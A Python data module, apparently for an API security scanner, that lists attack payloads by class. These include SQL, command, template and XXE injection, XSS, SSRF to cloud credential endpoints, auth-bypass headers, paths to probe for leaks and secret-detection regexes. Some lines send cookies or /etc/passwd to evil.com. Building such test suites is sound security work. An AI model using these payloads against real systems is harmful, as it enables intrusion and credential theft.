"""Adversarial and edge-case payloads — the full nuclear arsenal."""

# ── SQL Injection ──────────────────────────────────────────────

SQL_INJECTIONS = [
    "' OR '1'='1",
    "'; DROP TABLE users;--",
    "1; SELECT * FROM information_schema.tables--",
    "' UNION SELECT NULL,NULL,NULL--",
    "\" OR \"\"=\"",
    "1' AND '1'='1' /*",
    "' OR 1=1 LIMIT 1;--",
    "admin'--",
    "1; WAITFOR DELAY '0:0:5'--",
    "' AND SLEEP(3)#",
    "1 UNION ALL SELECT table_name FROM information_schema.tables--",
    "' OR ''='",
    "-1 OR 1=1",
    "1' ORDER BY 100--",
    # Blind SQLi — boolean
    "' AND 1=1 AND 'a'='a",
    "' AND 1=2 AND 'a'='a",
    # Blind SQLi — time-based
    "'; WAITFOR DELAY '0:0:10';--",
    "' OR SLEEP(5)#",
    "1; SELECT pg_sleep(5)--",
    "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
    # Stacked queries
    "1'; INSERT INTO users(username,password) VALUES('evil','evil');--",
    "1; UPDATE users SET role='admin' WHERE username='test';--",
    # Second-order SQLi (stored for later execution)
    "admin'/*",
    "admin\"--",
    # Error-based extraction
    "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--",
    "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    # Wide-char bypass
    "%bf%27 OR 1=1--",
    # Comment-based bypass  
    "/**/' OR '1'='1'/**/",
    "' /*!50000OR*/ '1'='1",
    # Case variation bypass
    "' oR '1'='1",
    "' UnIoN SeLeCt NuLl--",
    # Whitespace alternatives
    "'\t\nOR\t\n'1'='1",
    "'%09OR%09'1'='1",
    # Scientific notation
    "1e1' OR '1'='1",
]
SQL_INJECTIONS_QUICK = SQL_INJECTIONS[:4]

# ── NoSQL Injection ────────────────────────────────────────────

NOSQL_INJECTIONS: list[dict] = [
    {"$gt": ""},
    {"$ne": None},
    {"$regex": ".*"},
    {"$where": "1==1"},
    {"$exists": True},
    {"$nin": []},
    {"$or": [{"admin": True}, {"admin": {"$ne": False}}]},
    {"$where": "function(){return this.password.length > 0}"},
    {"$where": "sleep(3000)||true"},
    {"$regex": "^a.*", "$options": "si"},
    {"$lt": "~"},
    {"$gte": ""},
    {"$in": [True, 1, "1", "true", "admin"]},
    {"$type": 2},
    {"$elemMatch": {"$gt": 0}},
    {"$comment": "'; return true; var x='"},
]
NOSQL_INJECTIONS_QUICK = NOSQL_INJECTIONS[:2]

# ── XSS ────────────────────────────────────────────────────────

XSS_PAYLOADS = [
    "<script>alert('xss')</script>",
    "<img src=x onerror=alert(1)>",
    "javascript:alert(document.cookie)",
    "<svg/onload=alert('XSS')>",
    "\"><script>alert(String.fromCharCode(88,83,83))</script>",
    "<body onload=alert('XSS')>",
    "<iframe src='javascript:alert(1)'>",
    "'-alert(1)-'",
    "<details open ontoggle=alert(1)>",
    "{{constructor.constructor('return this')()}}",
    "${alert(1)}",
    # DOM-based
    "<img src=x onerror=fetch('https://evil.com/'+document.cookie)>",
    "<input onfocus=alert(1) autofocus>",
    "<marquee onstart=alert(1)>",
    "<video><source onerror=alert(1)>",
    "<audio src=x onerror=alert(1)>",
    # Encoding bypass
    "&#60;script&#62;alert(1)&#60;/script&#62;",
    "\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
    "\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
    "%3Cscript%3Ealert(1)%3C/script%3E",
    # Event handler variants
    "<div onmouseover=alert(1)>hover me</div>",
    "<select onfocus=alert(1) autofocus>",
    "<textarea onfocus=alert(1) autofocus>",
    "<keygen onfocus=alert(1) autofocus>",
    # CSP bypass attempts
    "<script src=data:text/javascript,alert(1)></script>",
    "<object data='javascript:alert(1)'>",
    "<embed src='javascript:alert(1)'>",
    "<base href='javascript:alert(1)//'>",
    # Mutation XSS (mXSS)
    "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
    "<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>",
    "<math><mtext><table><mglyph><svg><script>alert(1)</script>",
    # SVG-based
    "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
    "<svg><set onbegin=alert(1) attributename=x to=y>",
]
XSS_PAYLOADS_QUICK = XSS_PAYLOADS[:3]

# ── Command Injection ──────────────────────────────────────────

COMMAND_INJECTIONS = [
    "; ls -la",
    "| cat /etc/passwd",
    "$(whoami)",
    "`id`",
    "& dir",
    "\nping -c 3 127.0.0.1",
    "|| true",
    "; echo vulnerable",
    "$(sleep 3)",
    "%0aid",
    # Chained
    "&& whoami",
    "|| whoami",
    "| whoami",
    "; whoami",
    # Double encoding
    "%26%26whoami",
    "%7Cwhoami",
    # Newline injection
    "%0a%0dwhoami",
    "\rwhoami",
    "\nwhoami",
    # Backtick + $()
    "$(cat /etc/passwd)",
    "`cat /etc/passwd`",
    # Wildcard abuse
    ";cat /etc/pass??",
    ";cat /etc/pass*",
    # Variable injection
    ";echo $PATH",
    ";echo ${HOME}",
    # Space bypass
    ";{cat,/etc/passwd}",
    ";cat${IFS}/etc/passwd",
    ";cat$IFS/etc/passwd",
    # Time-based blind
    "; sleep 10",
    "| sleep 10",
    "$(sleep 10)",
    "`sleep 10`",
    # PowerShell
    "; Get-Process",
    "| Get-ChildItem",
    "; dir C:\\",
]
COMMAND_INJECTIONS_QUICK = COMMAND_INJECTIONS[:3]

# ── SSTI ───────────────────────────────────────────────────────

SSTI_PAYLOADS = [
    "${7*7}",
    "{{7*7}}",
    "{{7*'7'}}",
    "<%= 7*7 %>",
    "#{7*7}",
    "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
    "{{self.__init__.__globals__}}",
    # Jinja2 deep
    "{{''.__class__.__mro__[1].__subclasses__()}}",
    "{{config.items()}}",
    "{{request.environ}}",
    "{% for x in ().__class__.__base__.__subclasses__() %}{{x.__name__}}{% endfor %}",
    # Twig
    "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('whoami')}}",
    # Freemarker
    "${\"freemarker.template.utility.Execute\"?new()(\"id\")}",
    "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}",
    # Velocity
    "#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))",
    # Pebble
    "{% set cmd = 'id' %}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}",
    # Mako
    "${self.module.cache.util.os.system('id')}",
    # Smarty
    "{php}echo `id`;{/php}",
    # Expression language
    "${applicationScope}",
    "${T(java.lang.Runtime).getRuntime().exec('id')}",
    # Handlebars
    "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require('child_process').execSync('id');\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}",
]
SSTI_PAYLOADS_QUICK = SSTI_PAYLOADS[:2]

# ── XXE Payloads ───────────────────────────────────────────────

XXE_PAYLOADS = [
    '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>',
    '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><root>&xxe;</root>',
    '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>',
    '<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
    # Blind XXE via OOB
    '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><root>test</root>',
    # Parameter entity
    '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % data SYSTEM "file:///etc/passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://evil.com/?%data;\'>">%param1;]><root>&exfil;</root>',
    # XInclude
    '<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>',
    # Billion laughs (DoS)
    '<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">]><root>&lol3;</root>',
    # SVG-based XXE
    '<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>',
]

# ── LDAP Injection ─────────────────────────────────────────────

LDAP_INJECTIONS = [
    "*)(uid=*))(|(uid=*",
    "admin)(&)",
    "admin)(|(password=*))",
    "*)(objectClass=*",
    "*()|%26'",
    "*)(uid=admin))(|(uid=*",
    "admin)(!(&(1=0",
    "*(objectClass=user)",
    "*)(mail=*",
    "admin)(cn=*))%00",
]

# ── Polyglot Payloads (multi-context) ──────────────────────────

POLYGLOT_PAYLOADS = [
    "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//",
    "'-var x=1;alert(x)-'",
    "<!--<script>alert(1)</script>-->",
    "{{7*7}}${7*7}<%= 7*7 %>#{7*7}",
    "' AND 1=1 UNION SELECT null-- <script>alert(1)</script>",
    "{\"$gt\":\"\",\"__proto__\":{\"admin\":true}}",
    "() { :;}; /bin/cat /etc/passwd",
    "%253Cscript%253Ealert(1)%253C/script%253E",
    # SQL+XSS+SSTI combined
    "' OR 1=1--><script>alert(1)</script>{{7*7}}",
    # NoSQL+Prototype pollution
    "{\"$gt\":\"\",\"constructor\":{\"prototype\":{\"isAdmin\":true}}}",
    # CRLF+XSS
    "%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>",
    # Unicode+SQLi
    "' OR '1\u0000'='1",
    # JSON injection
    "\",\"admin\":true,\"x\":\"",
    "\",\"role\":\"admin\",\"z\":\"",
    # JWT tampering via string
    "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZG1pbiI6dHJ1ZX0.",
    # Triple encoding
    "%25%33%43script%25%33%45alert(1)%25%33%43/script%25%33%45",
    # Serialization attack strings
    'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}',
    'a:1:{s:5:"admin";b:1;}',
    # YAML injection
    "!!python/object/apply:os.system ['id']",
    "--- !ruby/hash:Gem::SpecFetcher",
]

# ── Token / Wallet Address Edge Cases (crypto/blockchain) ──────

TOKEN_ADDRESS_PAYLOADS = [
    # Null/zero addresses
    "0x0000000000000000000000000000000000000000",
    "0x0000000000000000000000000000000000000001",
    "0xdead000000000000000000000000000000000000",
    "0x000000000000000000000000000000000000dEaD",
    # Burn addresses
    "0x000000000000000000000000000000000000dEaD",
    "0xdEaD000000000000000000000000000000000000",
    # Known exploit contract addresses (Wormhole, Ronin, etc. — for testing detection)
    "0x0000000000000000000000000000000000000000",
    # Checksum failures — wrong mixed-case
    "0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe",  # valid-looking but wrong checksum
    "0xDe0B295669a9FD93d5F28D9Ec85E40f4cb697bae",  # lowered
    # Too short / too long
    "0x1234",
    "0x",
    "0x" + "a" * 64,
    "0x" + "f" * 40,
    "0x" + "0" * 40,
    # Non-hex chars
    "0xGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG",
    "0x!@#$%^&*()_+{}|:<>?",
    # Solana addresses
    "11111111111111111111111111111111",
    "So11111111111111111111111111111111111111112",
    "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA",
    # Bitcoin addresses
    "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa",  # genesis
    "bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4",
    "3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy",
    # Invalid but close
    "1A1zP1eP5QGefi2DMPTfTL5SLmv7Divf__",
    # ENS / domain-style
    "vitalik.eth",
    "richmfer.eth",
    "notreal.sol",
    # Negative / weird amounts that might be paired
    "-1",
    "0",
    "115792089237316195423570985008687907853269984665640564039457584007913129639935",  # uint256 max
    "115792089237316195423570985008687907853269984665640564039457584007913129639936",  # uint256 max + 1
    "999999999999999999999999999999999999999999",
    # EVM function selectors
    "0xa9059cbb",  # transfer(address,uint256)
    "0x095ea7b3",  # approve(address,uint256)
    "0x23b872dd",  # transferFrom(address,address,uint256)
    "0x70a08231",  # balanceOf(address)
    "0x18160ddd",  # totalSupply()
    # Empty / whitespace
    "",
    "   ",
    "\t\n",
    "null",
    "undefined",
    "NaN",
    "None",
]

# ── Auth Bypass Payloads ───────────────────────────────────────

AUTH_BYPASS_HEADERS: list[tuple[str, str]] = [
    ("Authorization", "Bearer null"),
    ("Authorization", "Bearer undefined"),
    ("Authorization", "Bearer "),
    ("Authorization", "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9."),
    ("Authorization", "Basic YWRtaW46YWRtaW4="),  # admin:admin
    ("Authorization", "Basic YWRtaW46cGFzc3dvcmQ="),  # admin:password
    ("Authorization", "Basic cm9vdDpyb290"),  # root:root
    ("Authorization", "Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"),
    ("Authorization", ""),
    ("Authorization", "Bearer " + "A" * 10000),
    ("X-API-Key", "test"),
    ("X-API-Key", "null"),
    ("X-API-Key", "admin"),
    ("X-API-Key", ""),
    ("Cookie", "session=; admin=true; role=admin"),
    ("Cookie", "token=eyJhbGciOiJub25lIn0.eyJhZG1pbiI6dHJ1ZX0."),
    # JWT alg:none attack
    ("Authorization", "Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZG1pbiI6dHJ1ZSwidXNlciI6ImFkbWluIn0."),
    # JWT with HS256 but empty signature
    ("Authorization", "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0."),
]

# ── Open Redirect Payloads ─────────────────────────────────────

OPEN_REDIRECT_PAYLOADS = [
    "//evil.com",
    "///evil.com",
    "/\\evil.com",
    "https://evil.com",
    "//evil.com/%2f..",
    "////evil.com",
    "https:evil.com",
    "java\tscript:alert(1)",
    "data:text/html,<script>alert(1)</script>",
    "\r\nhttps://evil.com",
    "//evil%252ecom",
    "/redirect?url=//evil.com",
]

# ── SSRF Payloads (in body params) ─────────────────────────────

SSRF_BODY_PAYLOADS = [
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://metadata.google.internal/computeMetadata/v1/",
    "http://100.100.100.200/latest/meta-data/",  # Alibaba cloud
    "http://169.254.170.2/v2/credentials",  # ECS task
    "http://[::ffff:169.254.169.254]",
    "http://0x7f000001/",
    "http://2130706433/",  # 127.0.0.1 as decimal
    "http://0177.0.0.1/",  # 127.0.0.1 as octal
    "http://127.1/",
    "http://0:8080/",
    "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a",
    "file:///etc/passwd",
    "dict://127.0.0.1:6379/info",
    "http://localtest.me/",
    "http://spoofed.burpcollaborator.net/",
]

# ── Cache Poisoning Headers ────────────────────────────────────

CACHE_POISON_HEADERS: list[tuple[str, str]] = [
    ("X-Forwarded-Host", "evil.com"),
    ("X-Forwarded-Scheme", "nothttps"),
    ("X-Forwarded-Port", "1337"),
    ("X-Original-URL", "/admin"),
    ("X-Rewrite-URL", "/admin"),
    ("X-Forwarded-Prefix", "/evil"),
    ("X-Host", "evil.com"),
    ("X-Forwarded-Server", "evil.com"),
    ("X-HTTP-Method-Override", "PUT"),
    ("X-Method-Override", "DELETE"),
    ("X-Original-Method", "PATCH"),
    ("Forwarded", "for=127.0.0.1;host=evil.com;proto=https"),
]

# ── GraphQL Attack Payloads ────────────────────────────────────

GRAPHQL_PAYLOADS = [
    # Introspection
    '{"query": "{__schema{types{name,fields{name}}}}"}',
    '{"query": "{__type(name:\\"User\\"){name,fields{name,type{name}}}}"}',
    # Depth attack
    '{"query": "{ a { b { c { d { e { f { g { h { i { j { k { l { m }}}}}}}}}}}}}"}',
    # Alias-based DoS
    '{"query": "{ ' + " ".join([f'a{i}: __typename' for i in range(1000)]) + ' }"}',
    # Batch query
    '[' + ",".join(['{"query":"{__typename}"}'] * 100) + ']',
    # Field suggestion leak
    '{"query": "{ usre }"}',  # typo to trigger suggestion
    # Directive abuse
    '{"query": "{ __typename @deprecated }"}',
    '{"query": "{ __typename @skip(if: false) @include(if: true) }"}',
]

# ── Special Strings ────────────────────────────────────────────

SPECIAL_STRINGS = [
    "\x00",
    "\x00\x00\x00",
    "A" * 10_000,
    "A" * 50_000,
    "A" * 200_000,
    "\ud800",
    "\U0001F4A9" * 500,
    "\r\n" * 2000,
    "../../../etc/passwd",
    "....//....//....//etc/passwd",
    "..\\..\\..\\windows\\system32\\config\\sam",
    "%00",
    "%0d%0aInjected-Header: true",
    "\t" * 2500,
    "NaN",
    "Infinity",
    "-Infinity",
    "undefined",
    "[object Object]",
    "__proto__",
    "constructor",
    "prototype",
    "hasOwnProperty",
    # Unicode normalization attacks
    "\uff1cscript\uff1e",  # fullwidth < and >
    "\u0000admin",
    "admin\u0000garbage",
    "\ufeff" + "test",  # BOM prefix
    "\u202e" + "admin",  # RTL override
    "\u200b" * 100,  # zero-width spaces
    "\u0001\u0002\u0003\u0004\u0005",  # control chars
    "test\u0085nextline",  # NEL
    "\ufff0\ufff1\ufff2",  # specials block
    # Format string
    "%s%s%s%s%s%s%s%s%s%s",
    "%x%x%x%x%x%x%x%x",
    "%n%n%n%n%n%n",
    "%d%d%d%d%d%d",
    "{0}{0}{0}{0}{0}{0}",
    # Path traversal aggressive
    "..%252f..%252f..%252fetc/passwd",
    "..%c0%af..%c0%af..%c0%afetc/passwd",
    "..%25c0%25af..%25c0%25af",
    "..\\..\\..\\..\\..\\..\\windows\\system.ini",
    "....//....//....//....//etc/passwd",
    "/etc/passwd%00.jpg",
    "....\\....\\....\\windows\\win.ini",
    # Regex DoS (ReDoS)
    "a" * 50 + "!",
    "(a+)+$" * 10,
    "(" * 50 + "a" + ")" * 50,
    # JSON key pollution
    '{"__proto__":{"admin":true}}',
    '{"constructor":{"prototype":{"admin":true}}}',
    # Prototype chain
    "__defineGetter__",
    "__lookupGetter__",
    "__proto__",
    "constructor.prototype",
    # Null byte injection
    "admin%00.json",
    "test\x00.php",
    "image\x00.jpg",
    # CRLF injection
    "test\r\nX-Injected: true",
    "test\r\n\r\n<html>injected</html>",
    "%0d%0a%0d%0a<script>alert(1)</script>",
]
SPECIAL_STRINGS_QUICK = SPECIAL_STRINGS[:6]

# ── Header Injection ──────────────────────────────────────────

HEADER_INJECTIONS: list[tuple[str, str]] = [
    ("X-Forwarded-For", "127.0.0.1"),
    ("X-Forwarded-Host", "evil.com"),
    ("X-Original-URL", "/admin"),
    ("X-Rewrite-URL", "/admin"),
    ("Host", "evil.com"),
    ("X-Custom-IP-Authorization", "127.0.0.1"),
    ("X-Forwarded-For", "' OR '1'='1"),
    ("Referer", "<script>alert(1)</script>"),
    ("User-Agent", "' OR '1'='1; --"),
    ("X-Forwarded-For", "0000::1"),
    # Additional bypass headers
    ("X-Real-IP", "127.0.0.1"),
    ("X-Client-IP", "127.0.0.1"),
    ("X-Originating-IP", "127.0.0.1"),
    ("True-Client-IP", "127.0.0.1"),
    ("Cluster-Client-IP", "127.0.0.1"),
    ("X-ProxyUser-Ip", "127.0.0.1"),
    ("X-Remote-IP", "127.0.0.1"),
    ("X-Remote-Addr", "127.0.0.1"),
    ("CF-Connecting-IP", "127.0.0.1"),
    ("Fastly-Client-IP", "127.0.0.1"),
    # CRLF in headers
    ("X-Custom", "test\r\nX-Injected: true"),
    ("X-Custom", "test\r\n\r\n<html>pwned</html>"),
    # Overflow
    ("X-Custom", "A" * 8192),
    # Cache key manipulation
    ("X-Forwarded-Proto", "https"),
    ("X-Forwarded-Scheme", "nothttps"),
    ("X-HTTP-Method-Override", "DELETE"),
    ("X-Method-Override", "PUT"),
]
HEADER_INJECTIONS_QUICK = HEADER_INJECTIONS[:3]

# ── Protocol ──────────────────────────────────────────────────

WRONG_CONTENT_TYPES = [
    "text/plain",
    "text/html",
    "application/xml",
    "multipart/form-data",
    "application/x-www-form-urlencoded",
    "application/octet-stream",
    "image/png",
    "application/x-yaml",
    "text/csv",
    "application/soap+xml",
    "application/graphql",
    "application/x-protobuf",
    "",
    "../../../../etc/passwd",
    "application/json; charset=utf-7",
]

UNSUPPORTED_METHODS = ["GET", "PUT", "PATCH", "DELETE", "OPTIONS", "HEAD", "TRACE", "CONNECT", "PROPFIND", "MKCOL"]

INVALID_JSON_BODIES = [
    "{invalid json",
    "{'single': 'quotes'}",
    "",
    "null",
    "[]",
    "true",
    "12345",
    '{"key": undefined}',
    '{"key": NaN}',
    "{" + '"a":1,' * 500 + '"z":1}',
    '{"a": "b"' + "}" * 50,
    "\x00{\"valid\": true}",
    # Deeply nested
    "{" * 100 + '"a": 1' + "}" * 100,
    # Trailing garbage
    '{"a": 1}GARBAGE',
    '{"a": 1}{"b": 2}',
    # BOM
    '\ufeff{"a": 1}',
    # Comments (non-standard)
    '{"a": 1 /* comment */}',
    '{"a": 1} // comment',
    # Duplicate keys
    '{"a": 1, "a": 2, "a": 3}',
    # Unicode escapes
    '{"\\u0061": "\\u0062"}',
    # Huge number
    '{"n": ' + "9" * 1000 + '}',
    # Negative zero
    '{"n": -0}',
    # Extremely long string
    '{"s": "' + "A" * 100_000 + '"}',
]
INVALID_JSON_BODIES_QUICK = INVALID_JSON_BODIES[:4]

# ── Edge Case Bodies ──────────────────────────────────────────

EDGE_CASE_BODIES: list[dict] = [
    {},
    {"a": None},
    {"a": ""},
    {"a": 0},
    {"a": -1},
    {"a": 999999999999999},
    {"a": 9999999999999999999999999},
    {"a": 1.7976931348623157e+308},
    {"a": 5e-324},
    {"a": True},
    {"a": []},
    {"a": [None, None]},
    {"a": {"b": {"c": {"d": {"e": "deep"}}}}},
    {"a": ["x"] * 10_000},
    {"__proto__": {"admin": True}},
    {"constructor": {"prototype": {"admin": True}}},
    {"$where": "function(){return true}"},
    {" ": "space key"},
    {"": "empty key"},
    {"a\x00b": "null in key"},
    dict.fromkeys([str(i) for i in range(500)], "x"),
    # Type confusion
    {"admin": True},
    {"admin": "true"},
    {"admin": 1},
    {"admin": "1"},
    {"admin": []},
    {"admin": {}},
    {"admin": None},
    {"admin": "null"},
    # Mass assignment
    {"role": "admin"},
    {"isAdmin": True},
    {"is_superuser": True},
    {"permissions": ["*"]},
    {"user_type": "admin"},
    {"privilege": "root"},
    {"access_level": 9999},
    {"__v": 0},
    {"_id": "000000000000000000000001"},
    # Nested prototype pollution
    {"__proto__": {"__proto__": {"admin": True}}},
    {"constructor": {"prototype": {"constructor": {"prototype": {"admin": True}}}}},
    # Circular-like deep nesting
    {"a": {"a": {"a": {"a": {"a": {"a": {"a": {"a": {"a": {"a": "deep" * 100}}}}}}}}}},
    # Array of different types
    {"data": [1, "1", True, None, [], {}, 1.5, -1]},
    # Huge array
    {"data": list(range(10_000))},
    # Negative float
    {"amount": -0.0},
    {"amount": float("inf")},
    {"amount": float("-inf")},
    # Unicode keys
    {"\u0000": "null key"},
    {"\uffff": "max bmp"},
    {"🔥": "emoji key"},
    {"": "empty", " ": "space", "\t": "tab", "\n": "newline"},
    # SQL in values
    {"id": "1 OR 1=1"},
    {"id": "1; DROP TABLE users;--"},
    # Very long key
    {"A" * 10_000: "long key"},
    # Boolean coercion trap
    {"verified": "false"},
    {"verified": 0},
    {"verified": ""},
    {"verified": "no"},
    {"verified": "off"},
]
EDGE_CASE_BODIES_QUICK = EDGE_CASE_BODIES[:6]

# ── Reflection Markers ────────────────────────────────────────

REFLECTION_MARKERS = [
    ("xss_probe_7f3a9b", "plain text"),
    ("<xss_probe_7f3a9b>", "HTML tag context"),
    ("\"xss_probe_7f3a9b\"", "quoted context"),
    ("javascript:xss_probe_7f3a9b", "JS protocol"),
    ("{{xss_probe_7f3a9b}}", "template context"),
    ("${xss_probe_7f3a9b}", "expression context"),
    ("<img src=x onerror=xss_probe_7f3a9b>", "event handler context"),
    ("'-xss_probe_7f3a9b-'", "JS string break context"),
    ("xss_probe_7f3a9b\r\nInjected: true", "CRLF context"),
]

# ── Info Leak Paths ────────────────────────────────────────────

INFO_LEAK_PATHS = [
    "/.env",
    "/.env.local",
    "/.env.production",
    "/.env.staging",
    "/.env.backup",
    "/.git/config",
    "/.git/HEAD",
    "/.git/logs/HEAD",
    "/.gitignore",
    "/debug",
    "/trace",
    "/actuator",
    "/actuator/env",
    "/actuator/health",
    "/actuator/beans",
    "/actuator/configprops",
    "/actuator/mappings",
    "/actuator/heapdump",
    "/actuator/threaddump",
    "/server-status",
    "/server-info",
    "/__debug__/",
    "/swagger.json",
    "/swagger-ui.html",
    "/swagger-ui/",
    "/openapi.json",
    "/openapi.yaml",
    "/api-docs",
    "/v2/api-docs",
    "/v3/api-docs",
    "/graphql?query={__schema{types{name}}}",
    "/api/docs",
    "/.well-known/openid-configuration",
    # Config/backup files
    "/config.json",
    "/config.yaml",
    "/config.yml",
    "/settings.json",
    "/package.json",
    "/composer.json",
    "/Gemfile",
    "/requirements.txt",
    "/wp-config.php.bak",
    "/web.config",
    "/application.yml",
    "/application.properties",
    # Database files
    "/dump.sql",
    "/database.sql",
    "/db.sqlite3",
    "/backup.sql",
    # Admin panels
    "/admin",
    "/admin/",
    "/administrator",
    "/wp-admin",
    "/phpmyadmin",
    "/adminer",
    "/console",
    "/_admin",
    "/manage",
    "/dashboard",
    # Error/debug endpoints
    "/error",
    "/errors",
    "/500",
    "/404",
    "/phpinfo.php",
    "/info.php",
    "/test",
    "/test.php",
    # Cloud metadata
    "/latest/meta-data/",
    "/metadata/v1/",
    # Source maps
    "/app.js.map",
    "/main.js.map",
    "/bundle.js.map",
    # Docker/K8s
    "/healthz",
    "/readyz",
    "/livez",
    "/metrics",
    # Logs
    "/logs",
    "/log",
    "/access.log",
    "/error.log",
    "/debug.log",
    # Workspace/editor files
    "/.vscode/settings.json",
    "/.idea/workspace.xml",
    "/.DS_Store",
    "/Thumbs.db",
    # CI/CD
    "/.github/workflows/",
    "/.gitlab-ci.yml",
    "/Jenkinsfile",
    "/.travis.yml",
    # Keys / certs
    "/id_rsa",
    "/id_rsa.pub",
    "/.ssh/authorized_keys",
    "/server.key",
    "/server.crt",
    "/private.pem",
]

# ── Info Leak Patterns (regex, description, CWE) ──────────────

INFO_LEAK_PATTERNS: list[tuple[str, str, str]] = [
    (r"Traceback \(most recent call last\)", "Stack trace exposed", "CWE-209"),
    (r"at .+\.(?:py|js|ts|java|rb|go|rs):\d+", "Source file path leaked", "CWE-209"),
    (r"(?:/usr/|/home/|/var/|C:\\\\)", "Server file path leaked", "CWE-200"),
    (r"(?:mysql|postgres|sqlite|mongodb|redis).*(?:error|exception)", "DB error exposed", "CWE-209"),
    (r"(?:django|flask|express|laravel|spring|rails|fastapi)", "Framework identity leaked", "CWE-200"),
    (r"(?:DEBUG|debug)\s*[=:]\s*(?:true|True|1)", "Debug mode enabled", "CWE-215"),
    (r"(?:password|passwd|secret|api_key|token)\s*[=:]\s*\S+", "Credential in response", "CWE-200"),
    (r"(?:v|version)\s*[=:\"]\s*\d+\.\d+", "Version info leaked", "CWE-200"),
    (r"sk-[a-zA-Z0-9]{20,}", "API key pattern in response", "CWE-200"),
    (r"eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+", "JWT token in response", "CWE-200"),
    # Extended patterns
    (r"(?:AKIA|ABIA|ACCA|ASIA)[A-Z0-9]{16}", "AWS access key in response", "CWE-200"),
    (r"(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{36}", "GitHub token in response", "CWE-200"),
    (r"xox[bporas]-[A-Za-z0-9-]+", "Slack token in response", "CWE-200"),
    (r"(?:mongodb|postgres|mysql|redis)://\S+", "Database connection string exposed", "CWE-200"),
    (r"-----BEGIN (?:RSA |EC )?PRIVATE KEY-----", "Private key in response", "CWE-200"),
    (r"(?:SG\.)[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}", "SendGrid API key exposed", "CWE-200"),
    (r"(?:sk_live|pk_live|sk_test|pk_test)_[A-Za-z0-9]+", "Stripe key in response", "CWE-200"),
    (r"(?:internal[_ ]?server[_ ]?error|unhandled[_ ]?exception|stack[_ ]?overflow)", "Internal error message exposed", "CWE-209"),
    (r"(?:syntax error|parse error|unexpected token)", "Parser error exposed", "CWE-209"),
    (r"(?:permission denied|access denied|forbidden).*(?:/[a-z]|C:\\\\)", "Access error with path", "CWE-209"),
    (r"(?:connection refused|ECONNREFUSED|ETIMEDOUT).*(?:\d{1,3}\.){3}\d{1,3}", "Internal IP in error", "CWE-200"),
    (r"(?:node_modules|vendor|site-packages|__pycache__)", "Dependency path leaked", "CWE-200"),
    (r"(?:BEGIN CERTIFICATE|BEGIN PUBLIC KEY)", "Certificate in response", "CWE-200"),
    (r"(?:process\.env|os\.environ|ENV\[)", "Environment access pattern leaked", "CWE-200"),
]
